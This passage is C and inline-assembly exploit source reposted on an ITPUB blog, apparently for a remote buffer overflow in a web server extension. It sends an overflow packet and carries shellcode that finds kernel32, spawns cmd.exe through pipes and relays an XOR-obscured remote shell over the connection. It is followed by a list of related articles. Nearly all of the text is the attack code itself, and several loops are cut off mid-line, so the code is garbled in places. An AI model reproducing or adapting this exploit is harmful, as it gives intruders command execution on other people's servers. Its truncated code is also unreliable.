strcpy(buff+sendpacketlong+strlen(buff2),server);
sendpacketlong=strlen(buff);
// buff[sendpacketlong]=0x90;
strcpy(buff+sendpacketlong,"nn");
/*
buff[sendpacketlong]=0x90;
for(i=-0x30;i<0x30;i+=4){
memcpy(buff+sendpacketlong+OVERADD+i,eipexcept,4);
}
memcpy(buff+sendpacketlong+OVERADD+i,eipwinnt,4);
strcpy(buff+sendpacketlong+OVERADD+i+4,"xffx63x64");
strcpy(buff+sendpacketlong+OVERADD+i+20,"nn");
*/
// printf("n send buff:n%s",buff);
// strcpy(buff+OVERADD+NOPLONG,shellcode);
sendpacketlong=strlen(buff);
/*
#ifdef DEBUG
_asm{
lea esp,buff
add esp,OVERADD
ret
}
#endif
*/
if(argc>6) {
if(strcmp(argv[6],"debug")==0) {
_asm{
lea esp,buff
add esp,OVERADD
ret
}
}
}
xordatabegin=0;
for(i=0;i<1;++i){
j=sendpacketlong;
fprintf(stderr,"n send packet %d bytes.",j);
// fprintf(stderr,"n sned:n%s ",buff);
send(fd,buff,j,0);
k=recv(fd,recvbuff,0x1000,0);
if(k>=8&&memcmp(recvbuff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
fprintf(stderr,"n ok!n");
}
if(k>0){
recvbuff[k]=0;
fprintf(stderr,"n recv:n %s",recvbuff);
}
}
k=1;
ioctlsocket(fd, FIONBIO, &k);
// fprintf(stderr,"n now begin: n");
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
/*
for(i=0;i
}
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
send(fd,SRLF,strlen(SRLF),0);
*/
k=1;
while(k!=0){
if(k<0){
gets(buff);
k=strlen(buff);
memcpy(buff+k,SRLF,3);
// send(fd,SRLF,strlen(SRLF),0);
// fprintf(stderr,"%s",buff);
for(i=0;i
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
// buff[i]^=DATAXORCODE;
}
send(fd,buff,k+2,0);
// send(fd,SRLF,strlen(SRLF),0);
}
k=recv(fd,buff,0x1000,0);
if(xordatabegin==0&&k>=8&&memcmp(buff,"XORDATA",8)==0) {
xordatabegin=1;
k=-1;
}
if(k>0){
// fprintf(stderr,"recv %d bytes",k);
if(xordatabegin==1){
for(i=0;i
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
buff[i]^=lockcharvar; // DATAXORCODE;
}
}
buff[k]=0;
fprintf(stderr,"%s",buff);
}
// if(k==0) break;
}
closesocket(fd);
WSACleanup( );
fprintf(stderr,"n the server close connect.");
gets(buff);
return(0);
}
void shellcodefnlock()
{
_asm{
nop
nop
nop
nop
nop
nop
nop
nop
_emit('.')
_emit('p')
_emit('h')
_emit('p')
_emit('4')
_emit('?')
jmp next
getediadd: pop EDI
push EDI
pop ESI
push ebx // ecb
push ebx // call shellcodefn ret address
xor ecx,ecx
llock: lodsb
cmp al,cl
jz shell
cmp al,0x30
jz clean0
sto: xor al,DATAXORCODE
stosb
jmp looplock
clean0: lodsb
sub al,0x40
jmp sto
next: call getediadd
shell: NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void shellcodefn(char *ecb)
{ char Buff[SHELLBUFFSIZE+2];
int *except[2];
FROC Sleepadd;
FARPROC WriteFileadd;
FARPROC ReadFileadd;
FARPROC PeekNamedPipeadd;
FARPROC CloseHandleadd;
FARPROC CreateProcessadd;
FARPROC CreatePipeadd;
FARPROC procloadlib;
FARPROC apifnadd[1];
FARPROC procgetadd=0;
FARPROC writeclient= *(int *)(ecb+0x84);
FARPROC readclient = *(int *)(ecb+0x88);
HCONN ConnID = *(int *)(ecb+8) ;
char *stradd;
int imgbase,fnbase,k,l;
HANDLE libhandle; //libwsock32;
STARTUPINFO siinfo;
PROCESS_INFORMATION ProcessInformation;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
int lBytesRead;
int lockintvar1,lockintvar2;
char lockcharvar;
SECURITY_ATTRIBUTES sa;
_asm { jmp nextcall
getstradd: pop stradd
lea EDI,except
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
imgbase=0x77e00000;
_asm{
call getexceptretadd
}
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
if(imgbase==0x78000000) imgbase=0xbff00000;
if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
libhandle=imgbase;
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor')
{
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
break;
}
}
}
}
}
//搜尋KERNEL32。DLL模組地址和API GetProcAddress地址
//注意這兒處理了搜尋頁面不在情況。
if(procgetadd==0) goto d;
for(k=1;k
for(;;++stradd){
if(*(stradd)==0&&*(stradd+1)!=0) break;
}
++stradd;
}
sa.nLength=12;
sa.lpSecurityDescriptor=0;
sa.bInheritHandle=TRUE;
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
// ZeroMemory(&siinfo,sizeof(siinfo));
_asm{
lea EDI,siinfo
xor eax,eax
mov ecx,0x11
repnz stosd
}
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
siinfo.wShowWindow = SW_H;
siinfo.hStdInput = hReadPipe2;
siinfo.hStdOutput=hWritePipe1;
siinfo.hStdError =hWritePipe1;
k=0;
// while(k==0)
// {
k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
stradd+=8;
// }
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
k=8;
writeclient(ConnID,stradd+9,&k,0);
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
lockintvar2=lockintvar1;
while(1) {
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
if(lBytesRead>0) {
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(lBytesRead>0) {
for(k=0;k
lockintvar2=lockintvar2%LOCKBIGNUM;
lockcharvar=lockintvar2%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
}
}
else{
lBytesRead=SHELLBUFFSIZE;
k=readclient(ConnID,Buff,&lBytesRead);
if(k!=1){
k=8;
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
while(1){
Sleepadd(0x7fffffff); //僵死
}
}
else{
for(k=0;k
lockintvar1=lockintvar1%LOCKBIGNUM;
lockcharvar=lockintvar1%0x100;
Buff[k]^=lockcharvar; // DATAXORCODE;
// Buff[k]^=DATAXORCODE;
}
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
// Sleepadd(1000);
}
}
}
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
xor eax,eax //2
ret //1
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{
int i,k;
unsigned char temp;
char *calladd;
for(i=0;i
if(temp==0xe8){
k=*(int *)(shellbuff+i+1);
calladd=fnadd;
calladd+=k;
calladd+=i;
calladd+=5;
if(calladd==chkesp){
shellbuff[i]=0x90;
shellbuff[i+1]=0x43; // inc ebx
shellbuff[i+2]=0x4b; // dec ebx
shellbuff[i+3]=0x43;
shellbuff[i+4]=0x4b;
}
}
}
}
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-988142/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 一個簡單的遠端溢位漏洞分析
- YoungzsoftCMailServer遠端棧溢位漏洞AIServer
- 遠端喚醒原始碼 (轉)原始碼
- 緩衝區溢位小程式分析
- Joomla遠端程式碼執行漏洞分析OOM
- Linux Kernel2.6x 最新本地溢位程式碼(轉)Linux
- 測試你的前端程式碼 – part3(端到端測試)前端
- 被記憶體溢位苦苦折磨的小測試!!!記憶體溢位
- 【spring原始碼學習】spring的遠端呼叫實現原始碼分析Spring原始碼
- 轉載]遠端執行程式碼的利用行程
- 程式碼測試覆蓋率分析
- Discuz! X系列遠端程式碼執行漏洞分析
- 溢位程式使用通道對抗防火牆 (轉)防火牆
- selenium(web端)淘寶測試程式碼Web
- seleniumGrid分散式遠端執行測試指令碼分散式指令碼
- Android惡意程式碼分析與滲透測試 程式碼排版太差了Android
- [測試分析] for與foreach 執行效率測試結果 (轉)
- 線上直播原始碼,flutter 溢位幾種佈局方案原始碼Flutter
- ArrayList原始碼剖析與程式碼實測原始碼
- Java 常見記憶體溢位異常與程式碼實現Java記憶體溢位
- 記憶體溢位的分析記憶體溢位
- 使用遠端Docker進行整合測試Docker
- Android穩定性測試-- Monkey原始碼分析Android原始碼
- MikroTik RouterOS 中發現了可遠端利用的緩衝區溢位漏洞ROS
- 【轉】istio原始碼分析——mixer遙測報告原始碼
- 安卓 unit 測試與 instrument 測試的程式碼共享安卓
- 《Android惡意程式碼分析與滲透測試》讀後感Android
- SMT整型溢位漏洞分析筆記筆記
- Android記憶體溢位分析Android記憶體溢位
- 記憶體溢位:native溢位 和 上層溢位記憶體溢位
- 程式碼重構與單元測試——測試專案(二)
- 效能測試之測試分析與調優
- 遠端程式碼載入方案
- 測試程式碼
- java 程式記憶體溢位Java記憶體溢位
- 軟體測試學習——移動端功能測試分析
- CVE-2017-7269 IIS6.0利用MSF遠端溢位漏洞提權
- 【最新】Chrome遠端程式碼執行0day分析報告Chrome